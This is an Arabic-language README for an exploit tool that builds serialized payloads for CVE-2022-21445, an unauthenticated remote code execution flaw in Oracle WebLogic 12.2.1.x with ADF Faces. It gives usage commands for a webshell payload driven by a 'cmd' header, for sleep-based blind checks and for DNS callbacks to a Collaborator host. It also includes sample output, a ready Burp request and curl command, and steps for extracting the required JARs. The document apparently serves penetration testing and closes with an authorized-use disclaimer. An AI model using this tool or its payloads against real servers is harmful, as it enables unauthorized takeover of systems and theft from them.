
استغلال ثغرة CVE-2022-21445 في Oracle Weblogic 12.2.1.X
تولّد هذه الأداة الحمولات الاستغلالية لثغرة CVE-2022-21445، وهي ثغرة حرجة في إلغاء تسلسل كائنات Java (Java deserialization) تؤثر على Oracle WebLogic Server 12.2.1.x عند تشغيل Oracle ADF Faces.
توجد الثغرة في مكوّن RemoteApplicationResourceLoader وتسمح للمهاجم بإرسال طلب HTTP GET مُصمَّم خصيصًا يؤدي إلى إلغاء تسلسل غير آمن. وقد يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة على الخادم المستهدف.
| المتطلب | الإصدار | الغرض |
|---|---|---|
| Python | 3.6+ | تشغيل سكربت الاستغلال |
| JDK | 1.8 (8u202 موصى به) | تجميع وتشغيل مولّد حمولة Java |
| Weblogic | 12.2.1.X | الإصدارات القابلة للاستغلال |
يجب تجميع الحمولة باستخدام JDK 1.8 لتتوافق مع بيئة تشغيل Java على الخادم المستهدف.
# Use SDKMAN:
sdk install java 8.0.402-tem
# Select the java 8
sudo update-alternatives --config java
java -version # Should show 1.8.x
javac -version # Should show 1.8.x
تنشئ حمولة تقرأ الأوامر من ترويسة HTTP cmd وتعيد المخرجات في نص الاستجابة.
python3 exploit.py --version 12.2.1.4 --type webshell
المخرجات:
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...
======================================================================
PAYLOAD GENERATED SUCCESSFULLY
======================================================================
[*] Payload type: webshell
[*] Payload length: 2156 characters
──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...
──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close
──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"
للاستعلام الأعمى — يؤكد تنفيذ الأوامر إذا تأخرت الاستجابة.
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10
أرسل الحمولة وقِس زمن الاستجابة:
للتأكيد خارج النطاق (Out-of-Band) باستخدام Burp Collaborator أو ما شابه ذلك.
python3 exploit.py --version 12.2.1.4 --type dns \
--dns-host cve-21445.abc123.oastify.com
استخدم --target للحصول على مخرجات منسّقة بالمضيف ومسار السياق الصحيحين:
python3 exploit.py --version 12.2.1.4 --type webshell \
--target http://10.0.0.50:8002/test
يقوم هذا بتنسيق طلب Burp وأمر curl بالمضيف والمسار الصحيحين:
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami
python3 exploit.py --version 12.2.1.4 --type webshell \
--output payload.txt
cmd لتشغيل أوامر مختلفة
في حال وجود ملفات Jar تالفة، يرجى اتباع التعليمات لتثبيت إصدار Weblogic المطلوب واستخراج ملفات Jar ذات الصلة.
يستخرج هذا ملفات Oracle JAR المطلوبة من صورة Docker الرسمية لـ FMW Infrastructure.
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3
# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)
# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar
ملاحظة: يتم تنزيل ملف
javax.mailJAR (المطلوب لتشفير MIME base64) تلقائيًا من Maven Central عند أول تشغيل. لا يلزم إعداد يدوي. تستخدم حمولة webshell الانعكاس (reflection) الخالص ولا تحتاج إلىweblogic.jarفي وقت الترجمة.
هذه الأداة مخصّصة لاختبار الاختراق المصرح به فقط. احصل دائمًا على إذن كتابي قبل اختبار أنظمة لا تملكها. المؤلفون غير مسؤولين عن أي إساءة استخدام. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.